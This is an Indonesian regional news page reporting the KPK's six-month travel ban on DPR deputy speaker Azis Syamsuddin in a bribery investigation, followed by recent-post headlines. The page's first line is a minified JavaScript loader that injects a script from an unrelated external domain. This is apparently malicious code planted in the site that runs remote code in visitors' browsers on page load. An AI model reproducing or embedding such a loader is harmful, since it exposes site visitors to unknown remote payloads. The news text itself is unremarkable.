(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Resmi Dicekal! Azis Syamsuddin Dilarang Keluar Negeri Selama 6 Bulan


KANALKALIMANTAN.COM – Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) RI telah menerima surat permohonan dari KPK terkait upaya pencekalan terhadap Wakil Ketua DPR RI Aziz Syamsuddin ke luar negeri.

“Benar, KPK telah mengajukan permohonan pencekalan Azis Syamsuddin kepada imigrasi,” kata Kepala Bagian (Kabag) Humas Kemenkumham Tubagus Erif melalui keterangan tertulis yang diterima di Jakarta, Jumat

Ia mengatakan sesuai peraturan, pencekalan terhadap politisi Golkar tersebut akan berlaku selama enam bulan ke depan.
“Pencekalan berlaku sejak 27 April 2021,” ujar dia.

Baca juga: Awaludin Harap Masyarakat Kotabaru Taati Larangan Mudik

 

Sebelumnya, Komisi Pemberantasan Korupsi (KPK) mencegah Wakil Ketua DPR RI Azis Syamsuddin bepergian ke luar negeri.

Plt Juru Bicara KPK Ali Fikri mengatakan lembaga itu telah mengirimkan surat ke Ditjen Imigrasi terkait pencegahan ke luar negeri. Selain Azis, dua orang lainnya juga turut dicegah.

“Pelarangan bepergian ke luar tersebut terhitung mulai 27 April 2021 hingga selama 6 bulan ke depan,” ucap Ali.

Pencegahan itu dilakukan terkait kasus dugaan suap untuk tidak menaikkan perkara ke tingkat penyidikan dengan tersangka penyidik KPK Stepanus Robin Pattuju (SRP) dan kawan-kawan.

“Langkah pencegahan ke luar negeri ini tentu dalam rangka kepentingan percepatan pemeriksaan dan menggali bukti-bukti lain agar pada saat diperlukan untuk dilakukan pemanggilan dan pemeriksaan pihak-pihak tersebut tetap berada di wilayah Indonesia,” kata Ali.

Baca juga: Pj Gubernur Kalsel: Larangan Mudik Berlaku di Semua Kabupaten Kota!

Pada Rabu (28/4/2021) KPK juga telah menggeledah ruang kerja Azis di Gedung DPR RI Jakarta dan rumah dinas Azis di Jakarta Selatan.

Tim penyidik KPK menemukan dan mengamankan bukti berbagai dokumen dan barang yang terkait dengan kasus dari penggeledahan tersebut.

Dalam konstruksi perkara disebut pada Oktober 2020, Syahrial menemui Azis di rumah dinas Azis dan menyampaikan permasalahan adanya penyelidikan yang sedang dilakukan oleh KPK di Pemkot Tanjungbalai. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

7 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

11 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

15 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.